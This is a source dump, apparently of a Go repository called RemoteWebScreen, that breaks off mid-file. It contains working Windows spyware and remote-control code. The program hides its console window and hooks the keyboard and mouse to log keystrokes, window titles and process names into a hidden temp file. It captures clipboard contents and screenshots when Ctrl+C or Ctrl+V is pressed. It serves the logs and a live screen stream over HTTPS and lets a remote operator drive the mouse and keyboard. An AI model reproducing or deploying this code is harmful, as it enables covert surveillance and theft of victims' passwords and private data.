v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 98 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 99 | golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 100 | golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= 101 | golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 102 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 103 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 104 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= 105 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 106 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 107 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 108 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 109 | golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= 110 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 111 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 112 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 113 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= 114 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 115 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 116 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 117 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 118 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 119 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 120 | -------------------------------------------------------------------------------- /images/image-20231124095233832.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p1d3er/RemoteWebScreen/6ce4a2a98c66512c28a0ff60cf6e2f0079c344cd/images/image-20231124095233832.png -------------------------------------------------------------------------------- /images/image-20231124101333602.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p1d3er/RemoteWebScreen/6ce4a2a98c66512c28a0ff60cf6e2f0079c344cd/images/image-20231124101333602.png -------------------------------------------------------------------------------- /images/image-20231124101600198.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p1d3er/RemoteWebScreen/6ce4a2a98c66512c28a0ff60cf6e2f0079c344cd/images/image-20231124101600198.png -------------------------------------------------------------------------------- /images/image-20231124101731491.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p1d3er/RemoteWebScreen/6ce4a2a98c66512c28a0ff60cf6e2f0079c344cd/images/image-20231124101731491.png -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Screen Monitor 7 | 8 | 172 | 173 | 174 |
175 | 179 | 180 | 181 | 182 | 183 |
184 | 185 | 186 | 384 | 385 | 386 | -------------------------------------------------------------------------------- /keyboard/Keyboard.go: -------------------------------------------------------------------------------- 1 | package keyboard 2 | 3 | import ( 4 | "RemoteWebScreen/win32" 5 | "os" 6 | "path/filepath" 7 | ) 8 | 9 | var Screen_logPath string 10 | var Logfilename string 11 | 12 | func init() { 13 | tempDir := os.TempDir() 14 | hostname, _ := os.Hostname() 15 | Screen_logPath = tempDir + "\\screen" 16 | _, err := os.Stat(Screen_logPath) 17 | if os.IsNotExist(err) { 18 | os.Mkdir(Screen_logPath, 0755) 19 | } 20 | Logfilename = hostname + ".log" 21 | } 22 | 23 | func Keylog() { 24 | jianpan_hok, err := win32.SetWindowsHookEx(win32.WH_KEYBOARD_LL, keyboardCallBack, 0, 0) 25 | if err != nil { 26 | return 27 | } 28 | defer win32.UnhookWindowsHookEx(jianpan_hok) 29 | 30 | shubao_hok, err := win32.SetWindowsHookEx(win32.WH_MOUSE_LL, mouseCallBack, 0, 0) 31 | if err != nil { 32 | return 33 | } 34 | defer win32.UnhookWindowsHookEx(shubao_hok) 35 | filePath := filepath.Join(Screen_logPath, Logfilename) 36 | go keyDump(filePath, true) 37 | win32.GetMessage(new(win32.MSG), 0, 0, 0) 38 | //win32.UnhookWindowsHookEx(jianpan_hok) 39 | //win32.UnhookWindowsHookEx(shubao_hok) 40 | } 41 | -------------------------------------------------------------------------------- /keyboard/call_back.go: -------------------------------------------------------------------------------- 1 | package keyboard 2 | 3 | import ( 4 | "RemoteWebScreen/win32" 5 | "log" 6 | "time" 7 | "unsafe" 8 | ) 9 | 10 | type KBEvent struct { 11 | VkCode win32.DWORD 12 | ProcessId uint32 13 | ProcessName string 14 | WindowText string 15 | Time time.Time 16 | } 17 | 18 | type MSEvent struct { 19 | Point win32.POINT 20 | ProcessId uint32 21 | ProcessName string 22 | WindowText string 23 | Time time.Time 24 | } 25 | 26 | var ( 27 | acp uint 28 | windowText string 29 | processId uint32 30 | processName string 31 | kbEventChanel = make(chan KBEvent, 200) 32 | msEventChanel = make(chan MSEvent, 200) 33 | ) 34 | 35 | var keyMap = map[win32.DWORD]string{ 36 | 8: "Backspace", 9: "Tab", 13: "Enter", 20: "CapsLock", 27: "Esc", 37 | 38 | 32: "Space", 33: "PageUp", 34: "PageDown", 35: "End", 36: "Home", 37: "Left", 38: "Up", 39: "Right", 39 | 40: "Down", 45: "Insert", 46: "Delete", 40 | 41 | 48: "0", 49: "1", 50: "2", 51: "3", 52: "4", 53: "5", 54: "6", 55: "7", 56: "8", 57: "9", 42 | 43 | 65: "a", 66: "b", 67: "c", 68: "d", 69: "e", 70: "f", 71: "g", 72: "h", 73: "i", 74: "j", 44 | 75: "k", 76: "l", 77: "m", 78: "n", 79: "o", 80: "p", 81: "q", 82: "r", 83: "s", 84: "t", 45 | 85: "u", 86: "v", 87: "w", 88: "x", 89: "y", 90: "z", 46 | 47 | 91: "Win", 92: "Win", 48 | 96: "0", 97: "1", 98: "2", 99: "3", 100: "4", 101: "5", 102: "6", 103: "7", 104: "8", 105: "9", 49 | 106: "*", 107: "+", 109: "-", 110: ".", 111: "/", 50 | 51 | 112: "F1", 113: "F2", 114: "F3", 115: "F4", 116: "F5", 117: "F6", 118: "F7", 119: "F8", 52 | 120: "F9", 121: "F10", 122: "F11", 123: "F12", 53 | 54 | 144: "NumLock", 160: "Shift", 161: "Shift", 162: "Ctrl", 163: "Ctrl", 55 | 164: "Alt", 165: "Alt", 56 | 57 | 186: ";", 187: "=", 188: ",", 189: "-", 190: ".", 191: "/", 192: "`", 58 | 219: "[", 220: "\\", 221: "]", 222: "'", 59 | } 60 | 61 | var exKey = map[win32.DWORD]struct{}{ 62 | 8: {}, 9: {}, 13: {}, 20: {}, 27: {}, 63 | 64 | 32: {}, 33: {}, 34: {}, 35: {}, 36: {}, 37: {}, 38: {}, 39: {}, 40: {}, 65 | 45: {}, 46: {}, 66 | 67 | 91: {}, 92: {}, 68 | 69 | 112: {}, 113: {}, 114: {}, 115: {}, 116: {}, 117: {}, 118: {}, 119: {}, 70 | 120: {}, 121: {}, 122: {}, 123: {}, 71 | 72 | 144: {}, 160: {}, 161: {}, 162: {}, 163: {}, 73 | 164: {}, 165: {}, 74 | } 75 | 76 | func init() { 77 | var err error 78 | var hWnd win32.HWND 79 | acp, err = win32.GetACP() 80 | if err != nil { 81 | log.Fatal(err) 82 | } 83 | hWnd, windowText, err = getForegroundWindow() 84 | if err != nil { 85 | log.Fatal(err) 86 | } 87 | processId, processName, err = getProcessInfo(hWnd) 88 | if err != nil { 89 | log.Fatal(err) 90 | } 91 | } 92 | 93 | // kb 94 | func keyboardCallBack(nCode int, wParam win32.WPARAM, lParam win32.LPARAM) win32.LRESULT { 95 | 96 | if int(wParam) == win32.WM_KEYDOWN { //down 97 | kbd := (*win32.KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam)) 98 | hwn, wt, err := getForegroundWindow() 99 | if err != nil { 100 | log.Println(err) 101 | } 102 | if windowText != wt { 103 | windowText = wt 104 | processId, processName, err = getProcessInfo(hwn) 105 | if err != nil { 106 | log.Println(err) 107 | } 108 | } 109 | kbEventChanel <- KBEvent{ 110 | VkCode: kbd.VkCode, 111 | WindowText: windowText, 112 | ProcessName: processName, 113 | ProcessId: processId, 114 | Time: time.Now(), 115 | } 116 | } 117 | res, _ := win32.CallNextHookEx(win32.Jianpan_hok, nCode, wParam, lParam) 118 | return res 119 | } 120 | 121 | // mouse 122 | func mouseCallBack(nCode int, wParam win32.WPARAM, lParam win32.LPARAM) win32.LRESULT { 123 | if int(wParam) == win32.WM_LBUTTONDOWN { // 左击 124 | ms := (*win32.MSLLHOOKSTRUCT)(unsafe.Pointer(lParam)) 125 | msEventChanel <- MSEvent{ 126 | Point: ms.Pt, 127 | WindowText: windowText, 128 | ProcessName: processName, 129 | ProcessId: processId, 130 | Time: time.Now(), 131 | } 132 | } 133 | res, _ := win32.CallNextHookEx(win32.Shubao_hok, nCode, wParam, lParam) 134 | return res 135 | } 136 | -------------------------------------------------------------------------------- /keyboard/dump.go: -------------------------------------------------------------------------------- 1 | package keyboard 2 | 3 | import ( 4 | "RemoteWebScreen/win32" 5 | "fmt" 6 | "github.com/atotto/clipboard" 7 | "github.com/kbinani/screenshot" 8 | "image" 9 | "image/png" 10 | "log" 11 | "os" 12 | "path/filepath" 13 | "strings" 14 | "sync" 15 | "syscall" 16 | "time" 17 | ) 18 | 19 | var filetime string 20 | var mutext sync.Mutex 21 | 22 | func keyDump(path string, isHidden bool) { 23 | go func() { 24 | var key string 25 | var ctrlc_v string 26 | var ctrlc_bool bool 27 | file, err := openFile(path, isHidden) 28 | if err != nil { 29 | //log.Printf("open file %v", err) 30 | } 31 | defer func() { 32 | file.Close() 33 | err := recover() 34 | log.Println(err) 35 | }() 36 | for { 37 | select { 38 | case event := <-kbEventChanel: 39 | vkCode := event.VkCode 40 | ctrlPressed := win32.IsKeyDown(win32.VK_CONTROL) 41 | //ctrlPressed && keyMap[vkCode] == "a" || 42 | if ctrlPressed && keyMap[vkCode] == "c" || ctrlPressed && keyMap[vkCode] == "v" { 43 | ctrlc_bool = true 44 | currentTime := time.Now() 45 | filetime = currentTime.Format("2006_01_02_15_04_05_04") 46 | Ctrl_screen(Screen_logPath, filetime) 47 | } 48 | if keyMap[vkCode] == "Enter" || keyMap[vkCode] == "Tab" { 49 | if len(key) > 0 { 50 | if ctrlc_bool { 51 | ctrlc_v, _ = clipboard.ReadAll() 52 | key = key + "\n[剪切板(Ctrl+c/v):" + ctrlc_v + "][截屏:" + Screen_logPath + "\\" + filetime + ".png]" 53 | ctrlc_bool = false 54 | } 55 | fmtStr := fmtEventToString(key, event.ProcessId, event.ProcessName, event.WindowText, event.Time) 56 | mutext.Lock() 57 | if err := writeToFile(file, fmtStr); err != nil { 58 | log.Println(err) 59 | } 60 | mutext.Unlock() 61 | key = "" 62 | ctrlc_v = "" 63 | } 64 | } else { 65 | if vkCode >= 48 && vkCode <= 90 { 66 | if getCapsLockSate() { // 大小写 67 | key += strings.ToUpper(keyMap[vkCode]) 68 | } else { 69 | key += keyMap[vkCode] 70 | } 71 | } else if isExKey(vkCode) { 72 | key += fmt.Sprintf("[%s]", keyMap[vkCode]) 73 | } else { 74 | key += keyMap[vkCode] 75 | } 76 | } 77 | case event := <-msEventChanel: 78 | if len(key) > 0 { 79 | if ctrlc_bool { 80 | ctrlc_v, _ = clipboard.ReadAll() 81 | key = key + "\n[剪切板(Ctrl+c/v):" + ctrlc_v + "][截屏:" + Screen_logPath + "\\" + filetime + ".png]" 82 | ctrlc_bool = false 83 | } 84 | fmtStr := fmtEventToString(key, event.ProcessId, event.ProcessName, event.WindowText, event.Time) 85 | mutext.Lock() 86 | if err := writeToFile(file, fmtStr); err != nil { 87 | log.Println(err) 88 | } 89 | mutext.Unlock() 90 | key = "" 91 | ctrlc_v = "" 92 | } 93 | } 94 | } 95 | }() 96 | } 97 | 98 | func isExKey(vkCode win32.DWORD) bool { 99 | _, ok := exKey[vkCode] 100 | return ok 101 | } 102 | 103 | func fmtEventToString(keyStr string, processId uint32, processName string, windowText string, t time.Time) string { 104 | content := fmt.Sprintf("[%s:%d %s %s]\r\n%s\r\n", processName, processId, 105 | windowText, t.Format("15:04:05 2006/01/02"), keyStr) 106 | return fmt.Sprintf("%s\t\r\n", content) 107 | } 108 | 109 | func writeToFile(file *os.File, str string) error { 110 | // write file 111 | if _, err := file.WriteString(str); err != nil { 112 | return err 113 | } else { 114 | err := file.Sync() 115 | if err != nil { 116 | return err 117 | } 118 | } 119 | return nil 120 | } 121 | 122 | func openFile(path string, isHidden bool) (*os.File, error) { 123 | p := strings.Split(path, string(os.PathSeparator)) 124 | if len(p) > 2 { 125 | // 创建目录 126 | dir := strings.Join(p[:len(p)-1], string(os.PathSeparator)) 127 | err := os.MkdirAll(dir, os.ModePerm) 128 | if err != nil { 129 | return nil, err 130 | } 131 | // 隐藏目录 132 | if isHidden { 133 | if err := hiddenFile(dir); err != nil { 134 | return nil, err 135 | } 136 | } 137 | } 138 | file, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_RDWR|os.O_SYNC, 0644) 139 | if err != nil { 140 | return nil, err 141 | } 142 | 143 | if isHidden { 144 | if err := hiddenFile(path); err != nil { 145 | return nil, err 146 | } 147 | } 148 | return file, nil 149 | } 150 | 151 | func hiddenFile(path string) error { 152 | n, err := syscall.UTF16PtrFromString(path) 153 | if err != nil { 154 | return err 155 | } 156 | return syscall.SetFileAttributes(n, syscall.FILE_ATTRIBUTE_HIDDEN) 157 | } 158 | 159 | func Ctrl_screen(tempDir, filename string) { 160 | filePath := filepath.Join(tempDir, filename+".png") 161 | n := screenshot.NumActiveDisplays() 162 | var all image.Rectangle = image.Rect(0, 0, 0, 0) 163 | for i := 0; i < n; i++ { 164 | bounds := screenshot.GetDisplayBounds(i) 165 | all = bounds.Union(all) 166 | } 167 | 168 | img, err := screenshot.Capture(all.Min.X, all.Min.Y, all.Dx(), all.Dy()) 169 | if err != nil { 170 | log.Printf("Error capturing screen: %v", err) 171 | return 172 | } 173 | 174 | file, err := os.Create(filePath) 175 | if err != nil { 176 | log.Printf("Error creating file: %v", err) 177 | return 178 | } 179 | defer file.Close() 180 | 181 | if err := png.Encode(file, img); err != nil { 182 | log.Printf("Error encoding PNG: %v", err) 183 | return 184 | } 185 | } 186 | -------------------------------------------------------------------------------- /keyboard/misc.go: -------------------------------------------------------------------------------- 1 | package keyboard 2 | 3 | import ( 4 | "RemoteWebScreen/win32" 5 | "github.com/axgle/mahonia" 6 | ) 7 | 8 | // 获取前置窗口句柄和标题 9 | func getForegroundWindow() (win32.HWND, string, error) { 10 | hWnd, err := win32.GetForegroundWindow() 11 | if err != nil { 12 | return 0, "", err 13 | } 14 | windowText, err := getWindowText(hWnd) 15 | return hWnd, windowText, nil 16 | } 17 | 18 | // 获取窗口标题 19 | func getWindowText(hWnd win32.HWND) (string, error) { 20 | windowText, err := win32.GetWindowTextA(hWnd) 21 | if err != nil { 22 | return "", err 23 | } 24 | if acp == 936 { // gbk 25 | dec := mahonia.NewDecoder("gbk") 26 | windowText = dec.ConvertString(windowText) 27 | } 28 | return windowText, nil 29 | } 30 | 31 | // 获取进程id和进程名字 32 | func getProcessInfo(hWnd win32.HWND) (uint32, string, error) { 33 | pid, _, err := win32.GetWindowThreadProcessId(hWnd) 34 | if err != nil { 35 | return 0, "", err 36 | } 37 | handle, err := win32.OpenProcess(0x400|0x10, false, pid) 38 | if err != nil { 39 | return 0, "", err 40 | } 41 | defer win32.CloseHandel(handle) 42 | name, err := win32.GetModuleBaseNameA(handle) 43 | if err != nil { 44 | return 0, "", err 45 | } 46 | if acp == 936 { // gbk 47 | dec := mahonia.NewDecoder("gbk") 48 | name = dec.ConvertString(name) 49 | } 50 | return pid, name, nil 51 | } 52 | 53 | func getCapsLockSate() bool { 54 | state, _ := win32.GetKeyState(20) 55 | if state == 0 { 56 | return false 57 | } 58 | return true 59 | } 60 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "RemoteWebScreen/keyboard" 5 | "RemoteWebScreen/server" 6 | "RemoteWebScreen/win32" 7 | "crypto/tls" 8 | "crypto/x509" 9 | "embed" 10 | "fmt" 11 | "html/template" 12 | "io/ioutil" 13 | "net" 14 | "net/http" 15 | "os" 16 | "path/filepath" 17 | "time" 18 | ) 19 | 20 | //go:embed index.html static/* 21 | //go:embed certs/server.key certs/server.pem certs/ca.pem 22 | var templates embed.FS 23 | 24 | type PageData struct { 25 | LogContent string 26 | } 27 | 28 | func init() { 29 | win32.HideConsole() 30 | } 31 | 32 | func main() { 33 | listenAddress := ":443" 34 | if len(os.Args) == 1 { 35 | os.Exit(0) 36 | } else if len(os.Args) == 2 && os.Args[1] == "start" { 37 | } else if len(os.Args) == 3 && os.Args[1] == "start" { 38 | listenAddress = fmt.Sprintf(":%s", os.Args[2]) 39 | } else { 40 | os.Exit(0) 41 | } 42 | certData, _ := templates.ReadFile("certs/server.pem") 43 | keyData, _ := templates.ReadFile("certs/server.key") 44 | caCert, err := templates.ReadFile("certs/ca.pem") 45 | certPool := x509.NewCertPool() 46 | certPool.AppendCertsFromPEM(caCert) 47 | cert, err := tls.X509KeyPair(certData, keyData) 48 | if err != nil { 49 | //log.Fatalf("Failed to load key pair: %v", err) 50 | } 51 | tlsConfig := &tls.Config{ 52 | Certificates: []tls.Certificate{cert}, 53 | ClientCAs: certPool, 54 | ClientAuth: tls.RequireAndVerifyClientCert, 55 | } 56 | SimulateDesktopConfig := &tls.Config{ 57 | Certificates: []tls.Certificate{cert}, 58 | } 59 | SimulateDesktopListener, err := tls.Listen("tcp", ":0", SimulateDesktopConfig) 60 | if err != nil { 61 | //log.Printf("Failed to listen on a random port: %v", err) 62 | } 63 | httpsListener, err := tls.Listen("tcp", listenAddress, tlsConfig) 64 | if err != nil { 65 | //log.Fatalf("Failed to create TLS listener: %v", err) 66 | } 67 | SimulateDesktopwsPort := SimulateDesktopListener.Addr().(*net.TCPAddr).Port 68 | go keyboard.Keylog() 69 | http.HandleFunc("/"+listenAddress, func(w http.ResponseWriter, r *http.Request) { 70 | w.Header().Set("Content-Type", "text/html") 71 | contentBytes, err := templates.ReadFile("index.html") 72 | if err != nil { 73 | //log.Printf("contentBytes, err := templates.ReadFile(index.html): %v", err) 74 | } 75 | tmpl, err := template.New("index").Parse(string(contentBytes)) 76 | if err != nil { 77 | //log.Printf("tmpl, err := template.New(index).Parse(string(contentBytes)): %v", err) 78 | } 79 | tmpl.Execute(w, map[string]interface{}{ 80 | "WebSocketPort": SimulateDesktopwsPort, 81 | }) 82 | }) 83 | fs := http.FS(templates) 84 | http.Handle("/static/", http.StripPrefix("/", http.FileServer(fs))) 85 | //http.Handle("/", http.FileServer(http.Dir(keyboard.Screen_logPath))) 86 | http.HandleFunc("/"+listenAddress+"log", func(w http.ResponseWriter, r *http.Request) { 87 | filePath := filepath.Join(keyboard.Screen_logPath, keyboard.Logfilename) 88 | content, err := ioutil.ReadFile(filePath) 89 | if err != nil { 90 | } 91 | data := PageData{ 92 | LogContent: string(content), 93 | } 94 | tmpl, err := template.New("log").Parse(win32.HtmlTemplate) 95 | err = tmpl.Execute(w, data) 96 | if err != nil { 97 | //http.Error(w, "Error executing HTML template", http.StatusInternalServerError) 98 | } 99 | }) 100 | go func() { 101 | if err := http.Serve(httpsListener, nil); err != nil { 102 | //log.Fatalf("Failed to start HTTPS server: %v", err) 103 | } 104 | }() 105 | go func() { 106 | http.HandleFunc("/SimulateDesktop", server.ScreenshotHandler) 107 | }() 108 | if err := http.Serve(SimulateDesktopListener, nil); err != nil { 109 | //log.Printf("Failed to start WebSocket server: %v", err) 110 | } 111 | go func() { 112 | ticker := time.NewTicker(30 * time.Second) 113 | defer ticker.Stop() 114 | for { 115 | <-ticker.C 116 | server.CleanupConnections() 117 | } 118 | }() 119 | } 120 | -------------------------------------------------------------------------------- /server/keymouevent.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "encoding/json" 5 | "github.com/go-vgo/robotgo" 6 | "github.com/gorilla/websocket" 7 | "github.com/kbinani/screenshot" 8 | "math" 9 | ) 10 | 11 | var CaptureScreenquality int = 56 12 | var mainScreenScale float64 13 | var assistScreenScale float64 14 | 15 | func init() { 16 | bounds := screenshot.GetDisplayBounds(currentScreen) 17 | screenW, _ := robotgo.GetScreenSize() 18 | mainScreenScale = math.Round(float64(bounds.Dx())/float64(screenW)*100) / 100 19 | } 20 | func SimulateDesktopHDMessage(conn *websocket.Conn, msg []byte) { 21 | var message map[string]interface{} 22 | if err := json.Unmarshal(msg, &message); err != nil { 23 | //log.Printf("if err := json.Unmarshal(msg, &message); err != nil Error: %v", err) 24 | return 25 | } 26 | 27 | switch messageType := message["type"].(string); messageType { 28 | case "1": // 移动 29 | go handleMouseMove(message) 30 | case "2": // 移动 31 | robotgo.Click("left", false) 32 | case "3": // 键盘 33 | //log.Println("3", message) 34 | handleKeyDown(message) 35 | case "4": // 右击 36 | robotgo.MouseClick("right", false) 37 | case "5": // 鼠标按下 38 | robotgo.Toggle("left") 39 | case "6": // 鼠标起来 40 | robotgo.Toggle("left", "up") 41 | case "updateSettings": 42 | quality := message["quality"].(float64) 43 | CaptureScreenquality = int(quality) 44 | case "7": // 鼠标滚轮 45 | handleMouseScroll(message) 46 | case "8": // 处理键盘事件 47 | //log.Println("8", message) 48 | handleComboKeyEvent(message) 49 | case "9": 50 | currentScreen++ 51 | if currentScreen >= screenshot.NumActiveDisplays() { 52 | currentScreen = 0 53 | } 54 | case "10": 55 | conn.Close() 56 | } 57 | } 58 | func handleComboKeyEvent(message map[string]interface{}) { 59 | key, _ := message["key"].(string) 60 | modifiers, _ := message["modifiers"].(map[string]interface{}) 61 | 62 | // 对于每个修饰键,按下之前先检查它是否激活 63 | for mod, active := range modifiers { 64 | if active.(bool) { 65 | robotgo.KeyToggle(mod, "down") 66 | } 67 | } 68 | // 模拟按下主键 69 | robotgo.KeyTap(key) 70 | // 释放所有之前按下的修饰键 71 | for mod, active := range modifiers { 72 | if active.(bool) { 73 | robotgo.KeyToggle(mod, "up") 74 | } 75 | } 76 | } 77 | 78 | func handleMouseScroll(message map[string]interface{}) { 79 | direction, _ := message["direction"].(string) 80 | amount, _ := message["amount"].(float64) 81 | // 减少滚动量和调整方向 82 | scrollAmount := int(amount) / 36 // 除以一个因子来减速 83 | if direction == "up" { 84 | robotgo.Scroll(0, scrollAmount) // 上滚 85 | } else if direction == "down" { 86 | robotgo.Scroll(0, -scrollAmount) // 下滚 87 | } 88 | } 89 | 90 | func checkScale(scale float64) int { 91 | scaleInt := int(math.Round(scale * 100)) 92 | switch scaleInt { 93 | case 100, 125, 150, 175: 94 | return scaleInt 95 | default: 96 | return 0 97 | } 98 | } 99 | func handleMouseMove(message map[string]interface{}) { 100 | absX, absY := message["absX"].(float64), message["absY"].(float64) 101 | canvasWidth, canvasHeight := message["canvasWidth"].(float64), message["canvasHeight"].(float64) 102 | var scaleX, scaleY float64 103 | var screenX, screenY int 104 | // 获取当前屏幕的边界 105 | bounds := screenshot.GetDisplayBounds(currentScreen) 106 | screen := robotgo.GetScreenRect(currentScreen) //1 107 | // 示例函数:获取主屏幕和扩展屏幕的缩放比例 108 | 109 | if currentScreen == 0 { 110 | screenW, _ := robotgo.GetScreenSize() 111 | mainScreenScale = math.Round(float64(bounds.Dx())/float64(screenW)*100) / 100 112 | scaleX = float64(bounds.Dx()) / mainScreenScale / canvasWidth 113 | scaleY = float64(bounds.Dy()) / mainScreenScale / canvasHeight 114 | screenX = bounds.Min.X + int(math.Round(absX*scaleX)) 115 | screenY = bounds.Min.Y + int(math.Round(absY*scaleY)) 116 | } else { 117 | var ScreenScalex float64 118 | ScreenScaleA := float64(bounds.Dx()) * (mainScreenScale / float64(screen.W-bounds.Min.X)) 119 | ScreenScaleB := float64(mainScreenScale) * float64(bounds.Min.X+bounds.Dx()) / float64(screen.W) 120 | if float64(checkScale(ScreenScaleA)/100) == 0 { 121 | assistScreenScale = float64(checkScale(ScreenScaleB)) / 100 122 | } else { 123 | assistScreenScale = float64(checkScale(ScreenScaleA)) / 100 124 | } 125 | scaleX = float64(bounds.Dx()) / canvasWidth 126 | scaleY = float64(bounds.Dy()) / canvasHeight 127 | ////<以下不适配分辨率 128 | ////175 175 129 | ////175 150 130 | ////175 125 131 | ////150 125 132 | // 133 | //if mainScreenScale > assistScreenScale { 134 | // ScreenScalex = 1 135 | //} else { 136 | // ScreenScalex = mainScreenScale 137 | //>} 138 | switch { 139 | case mainScreenScale >= 1.75 && assistScreenScale != 1: 140 | ScreenScalex = assistScreenScale 141 | case mainScreenScale == 1.5 && assistScreenScale == 1.25: 142 | ScreenScalex = assistScreenScale 143 | case mainScreenScale > assistScreenScale: 144 | ScreenScalex = 1 145 | default: 146 | ScreenScalex = mainScreenScale 147 | } 148 | screenX = int(float64(bounds.Min.X)/ScreenScalex) + int(math.Round(absX*scaleX/assistScreenScale)) 149 | screenY = bounds.Min.Y + int(math.Round(absY*scaleY/assistScreenScale)) 150 | } 151 | robotgo.Move(screenX, screenY) 152 | } 153 | 154 | func handleKeyDown(message map[string]interface{}) { 155 | keyCode, ok := message["keyCode"].(string) 156 | if !ok { 157 | return 158 | } 159 | 160 | isUpperCase := (keyCode >= "A" && keyCode <= "Z" || keyCode >= "a" && keyCode <= "z") && len(keyCode) == 1 161 | if isUpperCase { 162 | robotgo.TypeStr(keyCode) 163 | isUpperCase = false 164 | } else { 165 | robotgo.KeyTap(keyCode) 166 | } 167 | } 168 | -------------------------------------------------------------------------------- /server/screen.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "bytes" 5 | "github.com/kbinani/screenshot" 6 | "image/jpeg" 7 | ) 8 | 9 | var lastScreen []byte 10 | var currentScreen int 11 | 12 | func captureScreen(quality int) ([]byte, error) { 13 | bounds := screenshot.GetDisplayBounds(currentScreen) // 14 | img, err := screenshot.CaptureRect(bounds) 15 | if err != nil { 16 | //log.Printf("screenshot Error capturing screen: %v", err) 17 | return nil, err 18 | } 19 | var buf bytes.Buffer 20 | err = jpeg.Encode(&buf, img, &jpeg.Options{Quality: quality}) 21 | if err != nil { 22 | //log.Printf("Encode Error capturing screen: %v", err) 23 | return nil, err 24 | } 25 | //检测图像变化 26 | if bytes.Equal(lastScreen, buf.Bytes()) { 27 | return nil, nil // 没有变化 28 | } 29 | lastScreen = make([]byte, len(buf.Bytes())) 30 | copy(lastScreen, buf.Bytes()) 31 | return buf.Bytes(), nil 32 | } 33 | -------------------------------------------------------------------------------- /server/screenshotHandler.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "bytes" 5 | "compress/gzip" 6 | "github.com/gorilla/websocket" 7 | "net/http" 8 | "sync" 9 | "time" 10 | ) 11 | 12 | var upgrader = websocket.Upgrader{ 13 | CheckOrigin: func(r *http.Request) bool { 14 | return true 15 | }, 16 | } 17 | var wg sync.WaitGroup 18 | var connections = make(map[*websocket.Conn]bool) 19 | var mu sync.Mutex 20 | 21 | func ScreenshotHandler(w http.ResponseWriter, r *http.Request) { 22 | conn, err := upgrader.Upgrade(w, r, nil) 23 | if err != nil { 24 | //log.Printf("Error screenshotHandler: %v", err) 25 | return 26 | } 27 | connections[conn] = true 28 | defer conn.Close() 29 | go func() { 30 | ticker := time.NewTicker(6 * time.Second) 31 | defer ticker.Stop() 32 | for { 33 | select { 34 | case <-ticker.C: 35 | mu.Lock() 36 | err := conn.WriteMessage(websocket.PingMessage, []byte{}) 37 | mu.Unlock() 38 | if err != nil { 39 | return 40 | } 41 | } 42 | } 43 | }() 44 | wg.Add(1) 45 | go func() { 46 | ticker := time.NewTicker(33 * time.Millisecond) 47 | defer ticker.Stop() 48 | defer wg.Done() 49 | for { 50 | select { 51 | case <-ticker.C: 52 | imgBytes, err := captureScreen(CaptureScreenquality) 53 | if err != nil { 54 | //log.Printf("imgBytes, err := captureScreen(captureScreenquality, captureScreenscale) Error: %v", err) 55 | return 56 | } 57 | if imgBytes == nil { 58 | continue 59 | } 60 | err = 